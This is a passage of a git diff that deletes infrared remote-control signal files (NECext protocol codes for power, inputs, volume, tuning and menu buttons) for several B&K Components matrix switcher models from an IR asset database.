IN_1 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: FB 40 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: FB 40 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: FB 40 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir deleted file mode 100644 index 2b42910bf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 3B 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 4A 00 00 00 -# -name: PRE_+ -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 4B 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: FF 00 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir deleted file mode 100644 index 9aa348498..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir deleted file mode 100644 index 9e69a5cbf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 6E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir deleted file mode 100644 index 2cf91cfc3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir +++ /dev/null @@ -1,314 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 40 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 4B 00 00 00 -# -name: D_-_IN -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: C6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 2C 3D 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir deleted file mode 100644 index a18370ede..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 02 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 0F 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 6E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir deleted file mode 100644 index 736159510..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 30 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 3B 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed 